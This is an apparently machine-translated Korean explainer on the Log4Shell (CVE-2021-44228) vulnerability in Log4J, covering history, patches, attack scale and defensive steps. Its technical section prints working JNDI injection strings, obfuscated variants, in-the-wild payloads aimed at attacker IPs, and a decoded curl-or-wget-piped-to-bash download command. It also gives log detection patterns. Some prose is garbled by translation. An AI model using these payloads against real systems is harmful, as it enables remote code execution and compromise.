Java는 모바일, 데스크탑, 서버, IoT 장치, 라우터, 프린터, 복사기 등과 같은 IT 관련 장치의 모든 곳에서 볼 수 있습니다. 사용자 지정 엔터프라이즈 응용 프로그램과 함께 인기 있는 소프트웨어 응용 프로그램 및 게임의 대부분은 Java를 사용하여 개발됩니다. 대략 30억 개의 장치에서 Java를 실행하는 것으로 추정됩니다. Java 라이브러리는 Java의 견고성을 다른 수준으로 끌어 올립니다. 그러한 라이브러리 중 하나는 오픈 소스 Apache Software Foundation에서 개발한 Log4J입니다. 이 Log4J 라이브러리는 자바 로깅 프레임워크의 필수적인 부분이며 애플리케이션의 오류 메시지를 로깅하는 역할을 합니다.
Log4J 라이브러리 사용
로깅을 통해 개발자는 애플리케이션이 수행하는 모든 활동을 볼 수 있으며 거의 모든 소프트웨어 애플리케이션(클라우드 기반 포함)은 오류에 대한 로그를 생성합니다. 개발자는 일반적으로 애플리케이션의 로깅 시스템을 만들지 않고(휠을 재발명하지 않기 위해) 이미 구축된 로깅 라이브러리(코딩 및 개발의 일반적인 표준)와 가장 인기 있는 로깅 중 하나를 사용하는 것을 선호합니다. Java 라이브러리는 Log4J입니다. .
따라서 거의 모든 애플리케이션 (정부, 기관, 기업, Microsoft, Apple, Google 등의 애플리케이션 포함) Java로 작성된 이 라이브러리가 있을 수 있으며 이러한 라이브러리의 취약점은 사이버 보안 최악의 악몽이 될 수 있습니다. 꿈은 해커에게 실현됩니다. 또한 이 라이브러리는 오픈 소스이므로 공식 수치가 없습니다. 이 라이브러리를 사용하는 기기/애플리케이션의 수에 대한 정보입니다.
Log4J는 많은 인기 있는 애플리케이션에서 사용됩니다. (예:Twitter, Apple iCloud), 게임 (Minecraft, Steam 등), 웹사이트 , 등. 이와 함께 이 라이브러리는 많은 다른 프레임워크의 일부이기도 합니다. Kafka, Elasticsearch, Flink처럼. Log4J 익스플로잇에 취약한 애플리케이션, 제품, 플러그인 목록이 지속적으로 증가하고 있습니다.
Log4J의 취약점 감지
첫 번째 보고서 Log4J의 취약점 중 일부는 처음에 st 에 나타났습니다. 2021년 12월 Chen Zhaojun 작성 Alibaba Cloud Security 팀은 표준 버그 헌팅 관행이자 책임 있는 I.T. 그 사람은 Apache Foundation에 결함에 대해 알렸습니다(일부 버그 헌터는 이러한 취약점을 해커에게 판매하고 이러한 취약점은 몇 달 또는 몇 년 동안 탐지되지 않습니다). 감지 Minecraft에서 발생했습니다. . Minecraft의 채팅 기능 Log4J 익스플로잇의 식별 소스입니다.
게임의 채팅 알고리즘은 Log4J 라이브러리를 사용하는 Java API를 기반으로 하며 이 라이브러리를 통해 악당이 Minecraft 서버를 동결하고 모든 플레이어를 제거하는 등의 작업을 수행할 수 있었습니다. 유리한 환경에서 이 취약점은 Remote Code Execution에 의해 쉽게 조작되었습니다. (RCE) , 취약점의 위협 수준을 향상시킵니다.
Log4J 라이브러리의 취약점이 9일 에 공개적으로 인정되었습니다. 2021년 12월 Apache. 취약점은 이름입니다. Log4Shell로 공식적으로 라벨이 지정되었습니다. CVE-2021-44228로 . CVE(C 옴몬 V 취약성과 E xposures) 넘버링 시스템은 전 세계에서 탐지된 각 취약점/익스플로잇을 고유하게 식별하기 위한 명명법입니다.
Log4J는 제로데이로 분류됩니다. (또는 0일) 취약점. 제로데이 취약점이란 개발자가 취약점을 인지하고 제로데이 패치를 구현하기도 전에 이미 해커의 표적이 되었음을 의미합니다.
Log4J 라이브러리의 영향을 받는 버전 및 릴리스된 패치
Log4J 버전 2.0 ~ 2.14.1 취약점의 영향을 받는 것으로 보고되었습니다. Log4J 버전 2.15.0 원래 패치였습니다. CVE-2021-44228용으로 출시되었지만 나중에 CVE-2021-45046이라는 레이블이 붙은 Log4J(대부분 기본이 아닌 구성)에서 또 다른 취약점이 발견되었습니다. . 이 취약점은 보안에 영향이 있습니다. 3.7 중 (원래 취약점에 비해 상당히 낮음). 그런 다음 Apache Foundation은 Log4j 버전 2.16을 출시했습니다. 원래 수정 사항의 익스플로잇을 패치합니다.
이 문서를 작성하는 동안 다른 패치 Log4J 버전 2.17 CVE-2021-45105로 레이블이 지정된 Log4J 취약점 (Denial-of-Service/DoS 공격)이 Apache에서 해제되었습니다. 패치에 대한 정보는 Apache 웹사이트의 공식 Log4J 보안 페이지에서 확인할 수 있습니다.
많은 독자들은 패치가 이미 Log4J에 적용되었는데 왜 이것이 흐릿하다고 생각할 수 있습니다. 최신 버전의 Log4J 라이브러리가 패치되었지만 여전히 이전 버전의 Log4J를 사용하는 애플리케이션, 제품, 플러그인 등은 여전히 패치가 적용되지 않았습니다. 또한 버지웨어가 되어 취약한 버전의 Log4J를 사용하는 애플리케이션의 경우도 있습니다. Abandonware는 무시되는/소유자/제조업체가 더 이상 개발하지 않는 소프트웨어 제품이며 공식적인 지원이 없습니다.
Log4J 익스플로잇의 규모
보안 영향 등급에서 Log4J 익스플로잇은 10/10(가장 높은 위험 수준)으로 쉽게 분류할 수 있습니다. 이 취약점의 규모가 너무 커서 정부 및 Apache(Log4J 개발자)와 함께 모든 주요 플레이어(Microsoft, Google, Cisco 등)가 밤낮으로 취약점을 패치하기 위해 노력하고 있습니다. 이들 기업의 우려와 대응은 공식 홈페이지나 SNS에서 확인할 수 있다. 취약점의 심각도는 Jen Easterly CISA 이사 (미국 C ybersecurity 및 나 nfras 구조 A genency)는 Log4J 익스플로잇을 다음과 같이 언급했습니다.
가장 진지하지는 않더라도 내 경력 전체에서 본 것 중 가장 진지한 것 중 하나입니다.
그리고 이러한 심각성으로 인해 IT 업계 리더들은 Log4J 취약점이 잊혀지지 않습니다. 수년간의 산업 올 것이다.
Log4J 취약점이 이전에 감지되지 않은 이유는 무엇입니까?
Log4J 라이브러리가 2013년부터 사용 가능해졌을 때 왜 그런 규모의 취약점이 일찍 감지되지 않았느냐는 질문이 많은 사용자의 마음에 떠오릅니다. USA 2016 BlackHatEvents Log4J의 취약점이 제시되어 JNDI를 공격 벡터로 논의한 반면, 현재 취약점은 JNDI를 사용할 수 있는 일종의 템플릿 인젝션입니다.
그러나 소프트웨어 응용 프로그램에서 익스플로잇은 IT의 지평인 새로운 기술이 등장함에 따라 감지하기 어렵습니다. 산업 변화(예:인터넷 발명 이전과 인터넷 이후의 소프트웨어 응용 프로그램은 다른 이야기입니다). 또한 앞서 논의한 바와 같이 2.0 미만의 Log4J 라이브러리 버전은 영향을 받지 않으므로(문제의 공유가 있음) 기술의 발전 이 익스플로잇이 감지될 수 있었던 이유입니다.
Log4J 취약점을 이용한 공격
새로운 익스플로잇으로 해커들은 익스플로잇을 사용하기 위해 도구를 표적으로 삼고 있습니다. 익스플로잇을 표적으로 하는 최초의 악성코드는 CryptoMiners였습니다. (영향을 받는 기계에서 암호화폐를 채굴함). Cobalt Strike가 그 뒤를 이었습니다. (침투 테스트) 감염된 시스템에서 사용자 이름/비밀번호를 도용합니다. 그런 다음 Khonsari와 같은 랜섬웨어 기반 멀웨어가 배에 합류했습니다. 그리고 목록이 진행 중입니다 . 마지막으로 중요한 것은 국가 지원 해킹 그룹입니다. 여러 국가에서 이 취약점을 악용하여 경쟁자를 노리고 있습니다. 다음은 수행된 보고된 공격에 대한 ESET의 지도입니다(미국, 영국, 독일, 터키 및 네덜란드에서 가장 많은 공격이 발생함).
지금까지 1800000개 이상이 있습니다. 보고된 사건 해커가 이 Log4J 익스플로잇을 사용하려는 시도의 (및 계산). 또한 거의 40% 이상의 기업 네트워크 이 취약점을 이용하여 공격을 받습니다. 악용 코드의 가용성 다양한 사이트에서 상황을 최악으로 만들었습니다. 또한 익스플로잇이 타겟팅될 수 있으므로 상황이 복잡해졌습니다. HTTP로 및 HTTPS 프로토콜 .
하지만 이는 마치 맬웨어 웜 취약점을 대상으로 하는 것이 개발되면 그 영향은 원래 취약점보다 훨씬 더 클 수 있습니다. 왜냐하면 컴퓨터 웜은 조용히 자신을 복제하고 네트워크를 통해 확산되는 독립 실행형 소프트웨어이기 때문입니다(예:Code Red 웜 2000년대 또는 워너크라이 2017).
작동 방식
Log4J 라이브러리(로깅 프레임워크와 함께)는 애플리케이션이 수행하는 작업을 추적하고 익스플로잇을 사용하기 위해 공격자는 Log4J의 로그 항목만 강제 적용하면 됩니다. 계정의 사용자 이름을 설정하거나 이메일로 코드 문자열을 보내는 것과 같은 간단한 작업으로. 로깅 프레임워크에서 공격자가 애플리케이션의 로그 항목을 생성하면 애플리케이션마다 다를 수 있습니다. (예:Minecraft에서 채팅 기능이 사용됨) 또는 컴퓨터 대 컴퓨터. 악성 코드가 포함된 이러한 로그 항목이 생성되면 공격자는 악성 코드를 시스템에 로드하고 시스템을 완전히 제어할 수 있습니다. , 네트워크를 통해 확산, 맬웨어 설치, 다른 형태의 공격 실행 등
이 취약점의 가장 위험한 부분은 "사전 인증 ," 해커가 취약한 시스템을 제어하기 위해 로그인할 필요가 없음을 의미합니다.
익스플로잇은 다음 단계에서 설명할 수 있습니다. :
- 악용은 해커가 실행합니다. 사용자가 제공한 입력을 통해 악성 페이로드를 전송합니다. 이 페이로드는 HTTP/HTTPS 헤더이거나 Log4j를 사용하여 취약한 애플리케이션이 기록하는 기타 항목일 수 있습니다.
- 애플리케이션 로그 악성 페이로드를 데이터에 삽입합니다.
- Log4J 라이브러리 해석을 시도합니다 악의적인 사용자 입력 및 해커가 제어하는 서버에 연결 (예:LDAP).
- 악의적인 서버 (예:LDAP) 응답을 반환 애플리케이션에 로드하도록 지시하는 원격 클래스 자바 파일 .
- 애플리케이션 다운로드 및 리모컨 실행 파일 해커가 자신의 악의적인 행동을 할 수 있는 기회를 제공합니다.
프로세스는 다음 차트에 설명되어 있습니다.
안전합니까?
그래서 위의 과정을 거치고 나면 유저들의 마음에 내가 안전한가 하는 질문이 떠오른다. 다르다 . 사용자가 Java Log4J 라이브러리를 사용하는 조직의 일부인 경우 사용자와 그의 조직이 위험에 노출됩니다. 사용자 또는 조직에서 Java 기반을 사용하지 않는 경우(대부분의 가능성 없음) 엔터프라이즈 애플리케이션 종속성인 경우 3 rd 당사자 공급업체 유틸리티 또는 애플리케이션이 Java 기반인 경우 사용자 또는 그의 조직이 위험에 처할 수 있습니다. 취약한 경우 사용 중인 응용 프로그램을 인터넷에서 검색할 수 있습니다.
무엇을 해야 할까요?
이제 궁극적인 질문은 Log4J 취약점이 시스템이나 조직에 존재하는 경우 어떻게 해야 하는지입니다.
사용자용
일반 최종 사용자는 실질적인 작업을 수행할 수 없습니다. 응용 프로그램(특히 바이러스 백신/맬웨어 방지 응용 프로그램), 장치 또는 OS를 최신 상태로 유지하는 것을 제외하고 이 취약점에 대해 설명합니다. 사용자가 포기 형식을 사용하는 경우 , 제거하면 시스템을 안전하게 유지할 수 있습니다. 또한 온라인 서비스를 사용하는 경우 (Stream과 같은) 다음 패치를 적용했는지 확인합니다. (공식 페이지 또는 소셜 미디어 핸들을 확인하십시오) 일반 사용자를 위한 방법입니다.
조직용
Log4J 악용으로부터 조직을 보호하기 위한 마일리지는 조직마다 다를 수 있습니다. . 첫 번째 단계는 감사를 수행하는 것입니다. 전체 인프라 중 애플리케이션 종속성, 3 세 번째 취약점이 존재하는지 알아보기 위해 파티 벤더 유틸리티 또는 원격 직원에게 문의하십시오. 감사는 다음 패턴 또는 그 파생에 대한 애플리케이션 로그를 찾아야 합니다.
${jndi:ldap:/}
${jndi:ldaps:/}
${jndi:rmi:/}
${jndi:dns:/}
${jndi:iiop:/} 조직은 또한 자동 위협 사냥을 사용할 수 있습니다. 및 조사 도구 (TrendMicro의 Log4J Vulnerability Tester와 같은) Log4J 취약점이 있는 응용 프로그램을 찾으십시오. 조직의 개발자는 Log4J 취약점에 대한 참조가 있는지 코드를 확인하는 작업을 수행해야 합니다. 또한 인터넷 연결 기기 재앙을 피하기 위해 가능한 한 빨리 조직의 패치를 적용해야 합니다. 취약성을 노리기 위해 남들보다 최소 7일 앞서는 악당들과 경쟁해야 하기 때문에 조직은 최대한 빨리 행동해야 합니다.
둘째, 웹 애플리케이션 방화벽 또한 조직의 리소스와 데이터를 보호하기 위해 초기에 배치해야 합니다. 거의 모든 주요 업체(Microsoft, Oracle, Apple, Google, Amazon 등)는 서비스를 업데이트하고 제품에 대한 패치를 출시했습니다. 따라서 조직은 사용 중인 모든 응용 프로그램과 서비스를 최신 버전으로 업데이트해야 합니다. 또한 기업 조직은 불필요한 인터넷 트래픽을 제한해야 합니다. 노출을 줄이면 위험 수준이 낮아집니다.
취약점의 기술적 측면
지금까지는 Log4J 취약점을 일반 용어로 다루려고 했지만 이 섹션에서는 개발자의 기술 용어로 Log4J 취약점에 대해 설명합니다. 이 취약점은 JNDI를 사용하여 악용됩니다. (Java 이름 지정 및 디렉토리 인터페이스) 조회. 이로 인해 서비스 거부가 발생할 수 있습니다. (DoS) 공격. JNDI는 ${a_Java_expression}과 같은 표현식을 찾을 때마다 해당 표현식의 값을 찾아 교체합니다. 일부 Log4J 지원 조회 sys, JNDI, env, java, lower 및 upper입니다. Log4J 조회에서 지원하는 프로토콜 중 일부 LDAP, DNS, RMI 및 IIOP입니다. 응용 프로그램 로그에 항목을 삽입하기 위해 공격자는 서버에 대한 HTTP 요청을 사용할 수 있으며 요청을 받으면 Log4J 조회는 ObjectClass 속성이 LDAP 개체에서 javaNamingReference로 정의되고 다음 속성이 있습니다.
javaCodebase javaFactory javaClassName
그런 다음 LDAP 개체 로더 javaCodebase에 정의된 악성 URL의 내용을 추출하고 해당 개체를 생성합니다. 메모리에서 . 초기화 방법 또는 더 공식적으로 언급된 클래스의 생성자가 실행되면 신뢰할 수 없는 코드 신뢰할 수 없는 출처에서 감염된 컴퓨터에서 실행됩니다.
가장 기본적인 표현 공격자가 Log4J에 주입할 수 있는 것은
${jndi:ldap://{attacker_website}/a} 그러면 악성 코드가 실행됩니다. 호스팅 켜기:
https://{attacker_website}/{malicious.class} 악성 코드가 성공적으로 실행되면 서버는 JavaScript, Java 클래스, Unix 쉘 등과 같은 다양한 형식의 쉘 명령으로 이어지는 문자열을 해석합니다.
취약점의 심각도를 높이는 또 다른 요소는 중첩 능력입니다. Java ${} 블록 그러면 의심스러운 문자열을 훨씬 더 어렵게 감지할 수 있습니다. 예를 들어, 해커는 ${ jndi:}를 사용하는 대신 ${${lower:jn}${lower:di}}를 사용하여 원격 서버에서 정보/데이터를 추출할 수 있습니다.
독자의 마음에 떠오를 수 있는 흥미로운 질문은 코드를 넣을 위치입니다. Log4J 라이브러리에 착륙할 수 있습니까? 많은 응용 프로그램은 HTTP 헤더(User-Agent 또는 X-Forwarded-For와 같은), URI, 요청 본문 등과 같은 들어오는 요청을 포함하여 발생하는 모든 것을 기록합니다. 최악의 부분은 공격자가 이러한 요청을 응용 프로그램의 모든 인터넷에서 로거를 검색한 다음 감염된 시스템을 제어하는 명령을 내릴 수 있습니다. 프로세스는 다음 다이어그램에 명확하게 나와 있습니다.
다음은 몇 가지 예입니다. 식별된 URL 중 지금까지 다양한 유형의 공격을 시작했습니다. Log4J 라이브러리를 사용하여:
${jndi%3aldap%3a//0ky8rj5089x9qx7tq8djb3rpp.canarytokens[.]com/a}
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName:user:env}.c6340b92vtc00002scfggdpcz9eyyyyyd.interactsh[.]com}
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160[.]149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC80NS41Ni45Mi4yMjk6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvNDUuNTYuOTIuMjI5OjgwKXxiYXNo}
${jndi:ldap://5819.u837r4g5oolsy8hudoz24c15nwtohd.burpcollaborator[.]net/a}
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//62.182.80.168:1389/pien3m}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:l}${lower:d}${lower:a}${lower:p}}://67.205.191.102:1389/koejir}} 다음은 HTTP 서버 로그의 일부입니다. Log4J 익스플로잇 시도 표시:
45.155.205[.]233:53590 server:80 - [10/Dec/2021:13:25:10 +0000] "GET / HTTP/1.1" 200 1671 "-" "${jndi:ldap://45.155.205[.]233:12344/Basic/Command/Base64/[BASE64-code-removed]}" base64 문자열 위의 로그에서 디코딩:
(curl -s 45.155.xxx.xxx:5874/server:80||wget -q -O- 45.155.xxx.xxx:5874/server:80)|bash
이렇게 하면 45.155.xxx.xxx에서 악성 코드를 가져온 다음 Bash를 사용하여 스크립트를 실행합니다.
결국 우리는 독자들이 경계하기를 원할 것입니다. 이 취약점으로 인해 인터넷에 불이 붙은 이유가 있으므로 가볍게 여겨서는 안 됩니다.